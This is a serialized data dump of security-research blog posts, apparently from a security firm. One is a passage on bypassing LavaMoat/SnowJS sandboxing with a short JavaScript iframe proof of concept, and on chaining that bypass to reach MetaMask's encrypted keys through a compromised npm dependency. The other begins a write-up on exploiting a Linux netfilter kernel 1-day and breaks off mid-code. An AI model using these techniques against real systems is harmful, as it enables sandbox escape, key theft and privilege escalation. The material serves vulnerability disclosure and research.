srcdoc=\"aaa\">'",{"type":23,"tag":230,"props":51917,"children":51918},{"style":274},[51919],{"type":29,"value":753},{"type":23,"tag":59,"props":51921,"children":51923},{"id":51922},"impact-on-lavamoat-scuttling",[51924],{"type":29,"value":51925},"Impact On Lavamoat Scuttling",{"type":23,"tag":32,"props":51927,"children":51928},{},[51929],{"type":29,"value":51930},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":32,"props":51932,"children":51933},{},[51934,51936,51941,51943,51948],{"type":29,"value":51935},"For the exploit, the only used functions are in ",{"type":23,"tag":71,"props":51937,"children":51939},{"className":51938},[],[51940],{"type":29,"value":35000},{"type":29,"value":51942}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":71,"props":51944,"children":51946},{"className":51945},[],[51947],{"type":29,"value":2094},{"type":29,"value":51949}," object.",{"type":23,"tag":32,"props":51951,"children":51952},{},[51953,51955,51960],{"type":29,"value":51954},"Consider this example, which runs a scuttled ",{"type":23,"tag":71,"props":51956,"children":51958},{"className":51957},[],[51959],{"type":29,"value":34990},{"type":29,"value":27775},{"type":23,"tag":220,"props":51962,"children":51964},{"className":33669,"code":51963,"language":33671,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[51965],{"type":23,"tag":71,"props":51966,"children":51967},{"__ignoreMap":7},[51968,52004,52041,52084],{"type":23,"tag":230,"props":51969,"children":51970},{"class":232,"line":233},[51971,51975,51979,51983,51987,51991,51995,52000],{"type":23,"tag":230,"props":51972,"children":51973},{"style":262},[51974],{"type":29,"value":35000},{"type":23,"tag":230,"props":51976,"children":51977},{"style":274},[51978],{"type":29,"value":312},{"type":23,"tag":230,"props":51980,"children":51981},{"style":262},[51982],{"type":29,"value":1606},{"type":23,"tag":230,"props":51984,"children":51985},{"style":274},[51986],{"type":29,"value":312},{"type":23,"tag":230,"props":51988,"children":51989},{"style":262},[51990],{"type":29,"value":37259},{"type":23,"tag":230,"props":51992,"children":51993},{"style":268},[51994],{"type":29,"value":271},{"type":23,"tag":230,"props":51996,"children":51997},{"style":380},[51998],{"type":29,"value":51999}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":230,"props":52001,"children":52002},{"style":274},[52003],{"type":29,"value":511},{"type":23,"tag":230,"props":52005,"children":52006},{"class":232,"line":243},[52007,52011,52015,52019,52023,52028,52032,52037],{"type":23,"tag":230,"props":52008,"children":52009},{"style":262},[52010],{"type":29,"value":35000},{"type":23,"tag":230,"props":52012,"children":52013},{"style":274},[52014],{"type":29,"value":312},{"type":23,"tag":230,"props":52016,"children":52017},{"style":294},[52018],{"type":29,"value":37284},{"type":23,"tag":230,"props":52020,"children":52021},{"style":274},[52022],{"type":29,"value":302},{"type":23,"tag":230,"props":52024,"children":52025},{"style":380},[52026],{"type":29,"value":52027},"'test'",{"type":23,"tag":230,"props":52029,"children":52030},{"style":274},[52031],{"type":29,"value":23057},{"type":23,"tag":230,"props":52033,"children":52034},{"style":294},[52035],{"type":29,"value":52036},"focus",{"type":23,"tag":230,"props":52038,"children":52039},{"style":274},[52040],{"type":29,"value":2140},{"type":23,"tag":230,"props":52042,"children":52043},{"class":232,"line":252},[52044,52048,52052,52056,52060,52064,52068,52072,52076,52080],{"type":23,"tag":230,"props":52045,"children":52046},{"style":262},[52047],{"type":29,"value":35000},{"type":23,"tag":230,"props":52049,"children":52050},{"style":274},[52051],{"type":29,"value":312},{"type":23,"tag":230,"props":52053,"children":52054},{"style":294},[52055],{"type":29,"value":51889},{"type":23,"tag":230,"props":52057,"children":52058},{"style":274},[52059],{"type":29,"value":302},{"type":23,"tag":230,"props":52061,"children":52062},{"style":380},[52063],{"type":29,"value":51898},{"type":23,"tag":230,"props":52065,"children":52066},{"style":274},[52067],{"type":29,"value":684},{"type":23,"tag":230,"props":52069,"children":52070},{"style":256},[52071],{"type":29,"value":10510},{"type":23,"tag":230,"props":52073,"children":52074},{"style":274},[52075],{"type":29,"value":684},{"type":23,"tag":230,"props":52077,"children":52078},{"style":380},[52079],{"type":29,"value":51915},{"type":23,"tag":230,"props":52081,"children":52082},{"style":274},[52083],{"type":29,"value":753},{"type":23,"tag":230,"props":52085,"children":52086},{"class":232,"line":280},[52087,52091,52095,52100,52104,52108,52113,52117,52122,52127,52131,52135,52139,52143,52147,52151],{"type":23,"tag":230,"props":52088,"children":52089},{"style":262},[52090],{"type":29,"value":35000},{"type":23,"tag":230,"props":52092,"children":52093},{"style":274},[52094],{"type":29,"value":312},{"type":23,"tag":230,"props":52096,"children":52097},{"style":294},[52098],{"type":29,"value":52099},"getElementsByTagName",{"type":23,"tag":230,"props":52101,"children":52102},{"style":274},[52103],{"type":29,"value":302},{"type":23,"tag":230,"props":52105,"children":52106},{"style":380},[52107],{"type":29,"value":1398},{"type":23,"tag":230,"props":52109,"children":52110},{"style":274},[52111],{"type":29,"value":52112},")[",{"type":23,"tag":230,"props":52114,"children":52115},{"style":5149},[52116],{"type":29,"value":6358},{"type":23,"tag":230,"props":52118,"children":52119},{"style":274},[52120],{"type":29,"value":52121},"].",{"type":23,"tag":230,"props":52123,"children":52124},{"style":262},[52125],{"type":29,"value":52126},"contentWindow",{"type":23,"tag":230,"props":52128,"children":52129},{"style":274},[52130],{"type":29,"value":312},{"type":23,"tag":230,"props":52132,"children":52133},{"style":294},[52134],{"type":29,"value":34990},{"type":23,"tag":230,"props":52136,"children":52137},{"style":274},[52138],{"type":29,"value":302},{"type":23,"tag":230,"props":52140,"children":52141},{"style":262},[52142],{"type":29,"value":35000},{"type":23,"tag":230,"props":52144,"children":52145},{"style":274},[52146],{"type":29,"value":312},{"type":23,"tag":230,"props":52148,"children":52149},{"style":262},[52150],{"type":29,"value":35010},{"type":23,"tag":230,"props":52152,"children":52153},{"style":274},[52154],{"type":29,"value":753},{"type":23,"tag":59,"props":52156,"children":52158},{"id":52157},"snowjs-patch",[52159],{"type":29,"value":52160},"SnowJS Patch",{"type":23,"tag":32,"props":52162,"children":52163},{},[52164,52166,52173,52175,52182],{"type":29,"value":52165},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":181,"props":52167,"children":52170},{"href":52168,"rel":52169},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[185],[52171],{"type":29,"value":52172},"browser feature within W3C standards",{"type":29,"value":52174},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":181,"props":52176,"children":52179},{"href":52177,"rel":52178},"https://github.com/weizman/Realms-Initialization-Control",[185],[52180],{"type":29,"value":52181},"Here",{"type":29,"value":52183}," is their new proposal.",{"type":23,"tag":24,"props":52185,"children":52187},{"id":52186},"chaining-the-impacts",[52188],{"type":29,"value":52189},"Chaining The Impacts",{"type":23,"tag":32,"props":52191,"children":52192},{},[52193],{"type":29,"value":52194},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":144,"props":52196,"children":52197},{},[52198,52203],{"type":23,"tag":102,"props":52199,"children":52200},{},[52201],{"type":29,"value":52202},"Policy File Bypass",{"type":23,"tag":102,"props":52204,"children":52205},{},[52206],{"type":29,"value":52207},"Scuttling Bypass",{"type":23,"tag":32,"props":52209,"children":52210},{},[52211],{"type":29,"value":52212},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":32,"props":52214,"children":52215},{},[52216],{"type":29,"value":52217},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":24,"props":52219,"children":52220},{"id":5163},[52221],{"type":29,"value":5166},{"type":23,"tag":32,"props":52223,"children":52224},{},[52225],{"type":29,"value":52226},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":33652,"props":52228,"children":52229},{"style":33654},[52230],{"type":23,"tag":93,"props":52231,"children":52234},{"src":52232,"alt":52233,"style":33660},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":20741,"props":52236,"children":52238},{"className":52237,"dataFootnotes":7},[20744],[52239,52244],{"type":23,"tag":24,"props":52240,"children":52242},{"className":52241,"id":17805},[20749],[52243],{"type":29,"value":20752},{"type":23,"tag":144,"props":52245,"children":52246},{},[52247],{"type":23,"tag":102,"props":52248,"children":52249},{"id":32673},[52250,52252,52259,52260],{"type":29,"value":52251},"Excluding SES, which was covered ",{"type":23,"tag":181,"props":52253,"children":52256},{"href":52254,"rel":52255},"https://osec.io/blog/2023-11-01-metamask-snaps",[185],[52257],{"type":29,"value":52258},"in our last article",{"type":29,"value":3374},{"type":23,"tag":181,"props":52261,"children":52263},{"href":32701,"ariaLabel":20855,"className":52262,"dataFootnoteBackref":7},[20857],[52264],{"type":29,"value":20860},{"type":23,"tag":5178,"props":52266,"children":52267},{},[52268],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":52270},[52271,52275,52281,52287,52288,52289],{"id":26,"depth":243,"text":30,"children":52272},[52273,52274],{"id":31322,"depth":252,"text":31325},{"id":48892,"depth":252,"text":48895},{"id":49648,"depth":243,"text":49651,"children":52276},[52277,52278,52279,52280],{"id":49899,"depth":252,"text":49902},{"id":50374,"depth":252,"text":50377},{"id":51031,"depth":252,"text":51034},{"id":51154,"depth":252,"text":51157},{"id":51272,"depth":243,"text":51275,"children":52282},[52283,52284,52285,52286],{"id":51400,"depth":252,"text":51403},{"id":51762,"depth":252,"text":51765},{"id":51922,"depth":252,"text":51925},{"id":52157,"depth":252,"text":52160},{"id":52186,"depth":243,"text":52189},{"id":5163,"depth":243,"text":5166},{"id":17805,"depth":243,"text":20752},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":52294,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52295,"description":52296,"author":52297,"image":52298,"date":52300,"isFeatured":18,"tags":52301,"onBlogPage":18,"body":52304,"_type":5202,"_id":62685,"_source":5204,"_file":62686,"_stem":62687,"_extension":5207},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":52299,"height":11597,"width":8060},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[52302,52303],"kernal","linux",{"type":20,"children":52305,"toc":62653},[52306,52319,52333,52338,52344,52354,52359,52365,52370,52388,52402,52411,52444,52449,52455,52474,52507,52513,52526,52736,52803,53367,53386,53611,53670,53676,53696,53736,53924,53929,54080,54136,54141,54655,54674,54943,54969,55478,55545,55551,55587,55592,55858,55891,55903,55930,55942,55947,55953,55974,55980,56001,56024,56856,56862,56902,57442,57453,57487,57554,57608,57840,57846,57890,58354,58360,58371,58401,58484,58489,58494,58530,58582,58613,59168,59174,59191,59197,59202,59208,59236,59429,59449,59465,60060,60066,60101,60124,60136,60142,60170,60767,60792,61761,61772,61785,61798,62564,62578,62584,62596,62602,62630,62635,62639,62644,62649],{"type":23,"tag":32,"props":52307,"children":52308},{},[52309,52311,52318],{"type":29,"value":52310},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":181,"props":52312,"children":52315},{"href":52313,"rel":52314},"https://google.github.io/security-research/kernelctf/rules.html",[185],[52316],{"type":29,"value":52317},"KernelCTF VRP",{"type":29,"value":312},{"type":23,"tag":32,"props":52320,"children":52321},{},[52322,52324,52331],{"type":29,"value":52323},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":181,"props":52325,"children":52328},{"href":52326,"rel":52327},"https://github.com/conlonialC",[185],[52329],{"type":29,"value":52330},"lonial con",{"type":29,"value":52332},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":32,"props":52334,"children":52335},{},[52336],{"type":29,"value":52337},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":24,"props":52339,"children":52341},{"id":52340},"the-kernel",[52342],{"type":29,"value":52343},"The kernel",{"type":23,"tag":32,"props":52345,"children":52346},{},[52347,52349],{"type":29,"value":52348},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":93,"props":52350,"children":52353},{"alt":52351,"src":52352},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":32,"props":52355,"children":52356},{},[52357],{"type":29,"value":52358},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":59,"props":52360,"children":52362},{"id":52361},"kernel-exploitation",[52363],{"type":29,"value":52364},"Kernel exploitation",{"type":23,"tag":32,"props":52366,"children":52367},{},[52368],{"type":29,"value":52369},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":98,"props":52371,"children":52372},{},[52373,52378,52383],{"type":23,"tag":102,"props":52374,"children":52375},{},[52376],{"type":29,"value":52377},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":102,"props":52379,"children":52380},{},[52381],{"type":29,"value":52382},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":102,"props":52384,"children":52385},{},[52386],{"type":29,"value":52387},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":32,"props":52389,"children":52390},{},[52391,52393,52400],{"type":29,"value":52392},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":181,"props":52394,"children":52397},{"href":52395,"rel":52396},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[185],[52398],{"type":29,"value":52399},"blog post",{"type":29,"value":52401}," to become more familiar with the topic.",{"type":23,"tag":24,"props":52403,"children":52405},{"id":52404},"nf_tables",[52406],{"type":23,"tag":71,"props":52407,"children":52409},{"className":52408},[],[52410],{"type":29,"value":52404},{"type":23,"tag":32,"props":52412,"children":52413},{},[52414,52419,52421,52427,52428,52434,52436,52442],{"type":23,"tag":71,"props":52415,"children":52417},{"className":52416},[],[52418],{"type":29,"value":52404},{"type":29,"value":52420}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":181,"props":52422,"children":52425},{"href":52423,"rel":52424},"https://pwning.tech/nftables",[185],[52426],{"type":29,"value":6348},{"type":29,"value":684},{"type":23,"tag":181,"props":52429,"children":52432},{"href":52430,"rel":52431},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[185],[52433],{"type":29,"value":5462},{"type":29,"value":52435},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":71,"props":52437,"children":52439},{"className":52438},[],[52440],{"type":29,"value":52441},"nf_table",{"type":29,"value":52443}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":32,"props":52445,"children":52446},{},[52447],{"type":29,"value":52448},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":59,"props":52450,"children":52452},{"id":52451},"transactions",[52453],{"type":29,"value":52454},"Transactions",{"type":23,"tag":32,"props":52456,"children":52457},{},[52458,52460,52465,52467,52472],{"type":29,"value":52459},"A transaction is an interaction that updates ",{"type":23,"tag":71,"props":52461,"children":52463},{"className":52462},[],[52464],{"type":29,"value":52404},{"type":29,"value":52466}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":71,"props":52468,"children":52470},{"className":52469},[],[52471],{"type":29,"value":52404},{"type":29,"value":52473}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":98,"props":52475,"children":52476},{},[52477,52487,52497],{"type":23,"tag":102,"props":52478,"children":52479},{},[52480,52485],{"type":23,"tag":2302,"props":52481,"children":52482},{},[52483],{"type":29,"value":52484},"Control plane",{"type":29,"value":52486},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":102,"props":52488,"children":52489},{},[52490,52495],{"type":23,"tag":2302,"props":52491,"children":52492},{},[52493],{"type":29,"value":52494},"Commit path",{"type":29,"value":52496},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":102,"props":52498,"children":52499},{},[52500,52505],{"type":23,"tag":2302,"props":52501,"children":52502},{},[52503],{"type":29,"value":52504},"Abort path",{"type":29,"value":52506},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":24,"props":52508,"children":52510},{"id":52509},"vulnerability-details",[52511],{"type":29,"value":52512},"Vulnerability details",{"type":23,"tag":32,"props":52514,"children":52515},{},[52516,52518,52524],{"type":29,"value":52517},"Moving on, let's check out the ",{"type":23,"tag":181,"props":52519,"children":52522},{"href":52520,"rel":52521},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[185],[52523],{"type":29,"value":6563},{"type":29,"value":52525}," that fixed the bug.",{"type":23,"tag":220,"props":52527,"children":52529},{"className":5113,"code":52528,"language":5115,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[52530],{"type":23,"tag":71,"props":52531,"children":52532},{"__ignoreMap":7},[52533,52541,52549,52557,52565,52573,52580,52588,52595,52603,52611,52619,52627,52635,52643,52651,52659,52667,52675,52683,52690,52698,52706,52714,52721,52728],{"type":23,"tag":230,"props":52534,"children":52535},{"class":232,"line":233},[52536],{"type":23,"tag":230,"props":52537,"children":52538},{"style":256},[52539],{"type":29,"value":52540},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":230,"props":52542,"children":52543},{"class":232,"line":243},[52544],{"type":23,"tag":230,"props":52545,"children":52546},{"style":274},[52547],{"type":29,"value":52548},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":230,"props":52550,"children":52551},{"class":232,"line":252},[52552],{"type":23,"tag":230,"props":52553,"children":52554},{"style":256},[52555],{"type":29,"value":52556},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":230,"props":52558,"children":52559},{"class":232,"line":280},[52560],{"type":23,"tag":230,"props":52561,"children":52562},{"style":256},[52563],{"type":29,"value":52564},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":230,"props":52566,"children":52567},{"class":232,"line":334},[52568],{"type":23,"tag":230,"props":52569,"children":52570},{"style":274},[52571],{"type":29,"value":52572},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":230,"props":52574,"children":52575},{"class":232,"line":371},[52576],{"type":23,"tag":230,"props":52577,"children":52578},{"emptyLinePlaceholder":18},[52579],{"type":29,"value":459},{"type":23,"tag":230,"props":52581,"children":52582},{"class":232,"line":391},[52583],{"type":23,"tag":230,"props":52584,"children":52585},{"style":274},[52586],{"type":29,"value":52587},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":230,"props":52589,"children":52590},{"class":232,"line":400},[52591],{"type":23,"tag":230,"props":52592,"children":52593},{"emptyLinePlaceholder":18},[52594],{"type":29,"value":459},{"type":23,"tag":230,"props":52596,"children":52597},{"class":232,"line":444},[52598],{"type":23,"tag":230,"props":52599,"children":52600},{"style":274},[52601],{"type":29,"value":52602},"  if (m) {\n",{"type":23,"tag":230,"props":52604,"children":52605},{"class":232,"line":453},[52606],{"type":23,"tag":230,"props":52607,"children":52608},{"style":274},[52609],{"type":29,"value":52610},"   rcu_barrier();\n",{"type":23,"tag":230,"props":52612,"children":52613},{"class":232,"line":462},[52614],{"type":23,"tag":230,"props":52615,"children":52616},{"style":274},[52617],{"type":29,"value":52618}," \n",{"type":23,"tag":230,"props":52620,"children":52621},{"class":232,"line":471},[52622],{"type":23,"tag":230,"props":52623,"children":52624},{"style":380},[52625],{"type":29,"value":52626},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":230,"props":52628,"children":52629},{"class":232,"line":500},[52630],{"type":23,"tag":230,"props":52631,"children":52632},{"style":380},[52633],{"type":29,"value":52634},"-\n",{"type":23,"tag":230,"props":52636,"children":52637},{"class":232,"line":514},[52638],{"type":23,"tag":230,"props":52639,"children":52640},{"style":274},[52641],{"type":29,"value":52642},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":230,"props":52644,"children":52645},{"class":232,"line":897},[52646],{"type":23,"tag":230,"props":52647,"children":52648},{"style":274},[52649],{"type":29,"value":52650},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":230,"props":52652,"children":52653},{"class":232,"line":960},[52654],{"type":23,"tag":230,"props":52655,"children":52656},{"style":274},[52657],{"type":29,"value":52658},"   free_percpu(m->scratch);\n",{"type":23,"tag":230,"props":52660,"children":52661},{"class":232,"line":969},[52662],{"type":23,"tag":230,"props":52663,"children":52664},{"style":274},[52665],{"type":29,"value":52666},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":230,"props":52668,"children":52669},{"class":232,"line":4526},[52670],{"type":23,"tag":230,"props":52671,"children":52672},{"style":274},[52673],{"type":29,"value":52674},"  if (priv->clone) {\n",{"type":23,"tag":230,"props":52676,"children":52677},{"class":232,"line":4534},[52678],{"type":23,"tag":230,"props":52679,"children":52680},{"style":274},[52681],{"type":29,"value":52682},"   m = priv->clone;\n",{"type":23,"tag":230,"props":52684,"children":52685},{"class":232,"line":4542},[52686],{"type":23,"tag":230,"props":52687,"children":52688},{"style":274},[52689],{"type":29,"value":52618},{"type":23,"tag":230,"props":52691,"children":52692},{"class":232,"line":4559},[52693],{"type":23,"tag":230,"props":52694,"children":52695},{"style":380},[52696],{"type":29,"value":52697},"-  if (priv->dirty)\n",{"type":23,"tag":230,"props":52699,"children":52700},{"class":232,"line":4587},[52701],{"type":23,"tag":230,"props":52702,"children":52703},{"style":380},[52704],{"type":29,"value":52705},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":230,"props":52707,"children":52708},{"class":232,"line":4595},[52709],{"type":23,"tag":230,"props":52710,"children":52711},{"style":5149},[52712],{"type":29,"value":52713},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":230,"props":52715,"children":52716},{"class":232,"line":4619},[52717],{"type":23,"tag":230,"props":52718,"children":52719},{"style":274},[52720],{"type":29,"value":52618},{"type":23,"tag":230,"props":52722,"children":52723},{"class":232,"line":4627},[52724],{"type":23,"tag":230,"props":52725,"children":52726},{"style":274},[52727],{"type":29,"value":52642},{"type":23,"tag":230,"props":52729,"children":52730},{"class":232,"line":4659},[52731],{"type":23,"tag":230,"props":52732,"children":52733},{"style":274},[52734],{"type":29,"value":52735},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":32,"props":52737,"children":52738},{},[52739,52741,52747,52748,52754,52756,52762,52764,52770,52772,52777,52779,52785,52787,52793,52795,52801],{"type":29,"value":52740},"If the ",{"type":23,"tag":71,"props":52742,"children":52744},{"className":52743},[],[52745],{"type":29,"value":52746},"priv->dirty",{"type":29,"value":112},{"type":23,"tag":71,"props":52749,"children":52751},{"className":52750},[],[52752],{"type":29,"value":52753},"priv->clone",{"type":29,"value":52755}," variables are set, ",{"type":23,"tag":71,"props":52757,"children":52759},{"className":52758},[],[52760],{"type":29,"value":52761},"nft_set_pipapo_match_destroy()",{"type":29,"value":52763}," is called twice, once with ",{"type":23,"tag":71,"props":52765,"children":52767},{"className":52766},[],[52768],{"type":29,"value":52769},"priv->match",{"type":29,"value":52771}," as an argument, and then again with ",{"type":23,"tag":71,"props":52773,"children":52775},{"className":52774},[],[52776],{"type":29,"value":52753},{"type":29,"value":52778},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":71,"props":52780,"children":52782},{"className":52781},[],[52783],{"type":29,"value":52784},"setelem",{"type":29,"value":52786},"s of the ",{"type":23,"tag":71,"props":52788,"children":52790},{"className":52789},[],[52791],{"type":29,"value":52792},"set",{"type":29,"value":52794}," and calling ",{"type":23,"tag":71,"props":52796,"children":52798},{"className":52797},[],[52799],{"type":29,"value":52800},"nf_tables_set_elem_destroy()",{"type":29,"value":52802}," for each of them.",{"type":23,"tag":220,"props":52804,"children":52806},{"className":18839,"code":52805,"language":2148,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52807],{"type":23,"tag":71,"props":52808,"children":52809},{"__ignoreMap":7},[52810,52857,52885,52911,52918,52939,52952,52959,53056,53064,53071,53126,53147,53154,53257,53269,53276,53312,53319,53353,53360],{"type":23,"tag":230,"props":52811,"children":52812},{"class":232,"line":233},[52813,52818,52823,52828,52832,52836,52840,52845,52849,52853],{"type":23,"tag":230,"props":52814,"children":52815},{"style":256},[52816],{"type":29,"value":52817},"static",{"type":23,"tag":230,"props":52819,"children":52820},{"style":256},[52821],{"type":29,"value":52822}," void",{"type":23,"tag":230,"props":52824,"children":52825},{"style":294},[52826],{"type":29,"value":52827}," nft_set_pipapo_match_destroy",{"type":23,"tag":230,"props":52829,"children":52830},{"style":274},[52831],{"type":29,"value":302},{"type":23,"tag":230,"props":52833,"children":52834},{"style":256},[52835],{"type":29,"value":259},{"type":23,"tag":230,"props":52837,"children":52838},{"style":256},[52839],{"type":29,"value":23465},{"type":23,"tag":230,"props":52841,"children":52842},{"style":274},[52843],{"type":29,"value":52844}," nft_ctx ",{"type":23,"tag":230,"props":52846,"children":52847},{"style":268},[52848],{"type":29,"value":6909},{"type":23,"tag":230,"props":52850,"children":52851},{"style":262},[52852],{"type":29,"value":22595},{"type":23,"tag":230,"props":52854,"children":52855},{"style":274},[52856],{"type":29,"value":388},{"type":23,"tag":230,"props":52858,"children":52859},{"class":232,"line":243},[52860,52864,52868,52873,52877,52881],{"type":23,"tag":230,"props":52861,"children":52862},{"style":256},[52863],{"type":29,"value":3471},{"type":23,"tag":230,"props":52865,"children":52866},{"style":256},[52867],{"type":29,"value":23465},{"type":23,"tag":230,"props":52869,"children":52870},{"style":274},[52871],{"type":29,"value":52872}," nft_set ",{"type":23,"tag":230,"props":52874,"children":52875},{"style":268},[52876],{"type":29,"value":6909},{"type":23,"tag":230,"props":52878,"children":52879},{"style":262},[52880],{"type":29,"value":52792},{"type":23,"tag":230,"props":52882,"children":52883},{"style":274},[52884],{"type":29,"value":388},{"type":23,"tag":230,"props":52886,"children":52887},{"class":232,"line":252},[52888,52893,52898,52902,52907],{"type":23,"tag":230,"props":52889,"children":52890},{"style":256},[52891],{"type":29,"value":52892},"      struct",{"type":23,"tag":230,"props":52894,"children":52895},{"style":274},[52896],{"type":29,"value":52897}," 